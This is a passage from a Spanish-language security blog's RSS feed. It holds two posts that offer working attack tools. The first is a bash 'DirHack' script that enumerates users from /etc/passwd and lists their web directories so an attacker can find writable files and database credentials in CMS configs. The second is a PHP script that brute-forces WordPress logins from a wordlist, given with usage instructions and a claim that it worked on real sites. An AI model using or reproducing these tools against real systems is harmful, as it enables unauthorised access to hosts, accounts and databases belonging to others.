<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File $2 doesn&#8217;t have write permissions&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">break</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">freedirs=</span><span class="st0">&quot;public_html public_ftp etc tmp mail&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Starting DirHack $version&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;DirHack eXploit $version&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="kw2">dir</span> <span class="kw1">in</span> <span class="re1">$freedirs</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> user <span class="kw1">in</span> `<span class="kw2">awk</span> -F<span class="st0">&#8216;:&#8217;</span> <span class="st0">&#8216; {printf $1 &quot;n&quot;} &#8216;</span> /etc/<span class="kw2">passwd</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">userhome=</span>`<span class="kw2">cat</span> /etc/<span class="kw2">passwd</span> |grep <span class="re1">$user</span>: |grep :$<span class="br0">&#40;</span><span class="kw2">id</span> -u <span class="re1">$user</span><span class="br0">&#41;</span>: |awk -F<span class="st0">&#8216;:&#8217;</span> <span class="st0">&#8216; {printf $6 &quot;n&quot;}&#8217;</span>`</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">fulldir=</span><span class="re1">$userhome</span>/<span class="re1">$dir</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> `<span class="kw2">id</span> -u <span class="re1">$user</span>` -gt $<span class="nu0">1</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -d <span class="re1">$fulldir</span> <span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;User: $user&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Directory: $fulldir&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Size: `du -sh $fulldir`&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;&quot;</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">ls</span> -Rla <span class="re1">$fulldir</span> &gt;&gt; $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">done</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">done</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> $<span class="nu0">3</span> <span class="kw1">in</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bz2<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">bzip2=</span>`<span class="kw2">which</span> <span class="kw2">bzip2</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -x <span class="re1">$bzip</span> <span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$bzip2</span> -f $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready and compressed in $2.bz2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;No exec permissions for bzip2 or bzip2 not found.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File left uncompressed in $2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span>;;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; gz<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re2">gzip=</span>`<span class="kw2">which</span> <span class="kw2">gzip</span>`</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#91;</span> -x <span class="re1">$gzip</span> <span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">then</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$gzip</span> -f $<span class="nu0">2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready and compressed in $2.gz&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;No exec permissions for gzip or gzip not found.&quot;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File left uncompressed in $2&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fi</span>;;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;File ready in $2&quot;</span>;;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">esac</span></div>
</li>
</ol>
</div>
</blockquote>
<p><strong>Funcionamiento:</strong> Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio <em>public_html</em> y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama <em>apache</em> y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.</p>
<p>Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.<br />
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.<br />
Una forma de solucionar este problema es con <em>chroot</em>.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdirhack%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/dirhack/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/dirhack/"  data-text="dirHack" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/dirhack/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Web Login por fuerza bruta</title>
		<link>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/</link>
		<comments>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/#comments</comments>
		<pubDate>Sat, 04 Oct 2008 20:24:50 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fuerza bruta]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/10/04/web-login-por-fuerza-bruta/</guid>
		<description><![CDATA[WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress no cuenta con un captcha por defecto ni tampoco con <em>login throttling</em>, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.</p>
<p>Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.</p>
<blockquote>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/ini_set"><span class="kw3">ini_set</span></a><span class="br0">&#40;</span><span class="st0">&quot;memory_limit&quot;</span>, <span class="st0">&quot;100M&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> crackSite<span class="br0">&#40;</span><span class="re0">$wordlist</span>, <span class="re0">$url</span>, <span class="re0">$user</span>, <span class="re0">$attemps</span> = <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$file</span> = <a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$wordlist</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Read &quot;</span>.<a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span>.<span class="st0">&quot; words.n&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Can&#8217;t read word list file.n&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$i</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/rtrim"><span class="kw3">rtrim</span></a><span class="br0">&#40;</span><span class="re0">$fields_string</span>,<span class="st0">&#8216;&amp;amp;&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$file</span> <span class="kw1">as</span> <span class="re0">$word</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>++<span class="re0">$i</span>%<span class="nu0">10</span> == <span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Attempts: &quot;</span>.<span class="re0">$i</span>.<span class="st0">&quot;/&quot;</span>.<a href="http://www.php.net/count"><span class="kw3">count</span></a><span class="br0">&#40;</span><span class="re0">$file</span><span class="br0">&#41;</span>.<span class="st0">&quot; (&quot;</span>.<a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$word</span><span class="br0">&#41;</span>.<span class="st0">&quot;)n&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$fields_string</span> = <span class="st0">&quot;log=&quot;</span>.<span class="re0">$user</span>.<span class="st0">&quot;&amp;amp;pwd=&quot;</span>.<a href="http://www.php.net/trim"><span class="kw3">trim</span></a><span class="br0">&#40;</span><span class="re0">$word</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> = curl_init<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_URL,<span class="re0">$url</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_POSTFIELDS,<span class="re0">$fields_string</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_setopt<span class="br0">&#40;</span><span class="re0">$ch</span>,CURLOPT_RETURNTRANSFER, <span class="kw2">true</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$result</span> = <a href="http://www.php.net/md5"><span class="kw3">md5</span></a><span class="br0">&#40;</span> curl_exec<span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span>!<span class="re0">$oresult</span><span class="br0">&#41;</span> <span class="re0">$oresult</span> = <span class="re0">$result</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$oresult</span> != <span class="re0">$result</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Password found: &quot;</span>.<span class="re0">$word</span>.<span class="st0">&quot;n&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_close<span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">crackSite<span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>, <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>Este script esta diseñado para correrlo desde la linea de comandos (<em>php-cli</em>) y su modo de uso es el siguiente:</p>
<blockquote><p>$ php wp_cracker.php wordlist.txt http://sitio.com/wp-login.php Username</p></blockquote>
<p>Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.<br />
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.</p>
<p><strong>Requerimientos:</strong> Curl y PHP.</p>
<p><strong>Video tutorial:<br />
</strong></p>
<p style="text-align: center"><span class="youtube">
<iframe title="YouTube video player" class="youtube-player" type="text/html" width="480" height="360" src="http://www.youtube.com/embed/CMfxsGQOtd8?color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;loop=&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;rel=1&amp;hd=1" frameborder="0" allowfullscreen></iframe>
</span><p><a href="http://www.youtube.com/watch?v=CMfxsGQOtd8&fmt=18">www.youtube.com/watch?v=CMfxsGQOtd8</a></p></p>
<p><strong>Descargar video:</strong><br />
Mirror 1: <a href="http://www.hardmodding.net/storage/web_login_cracker.avi">Hardmodding</a> (2.8M)</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fweb-login-por-fuerza-bruta%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/"  data-text="Web Login por fuerza bruta" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
<enclosure url="http://www.hardmodding.net/storage/web_login_cracker.avi" length="2899240" type="video/x-msvideo" />
		</item>
		<item>
		<title>Olimpiadas Nacionales de Informatica (ONI)</title>
		<link>http://blog.zerial.org/proyectos/olimpiadas-nacionales-de-informatica-oni/</link>
		<comments>http://blog.zerial.org/proyectos/olimpiadas-nacionales-de-informatica-oni/#comments</comments>
		<pubDate>Tue, 27 May 2008 18:53:19 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[actividades]]></category>
		<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/05/27/olimpiadas-nacionales-de-informatica-oni/</guid>
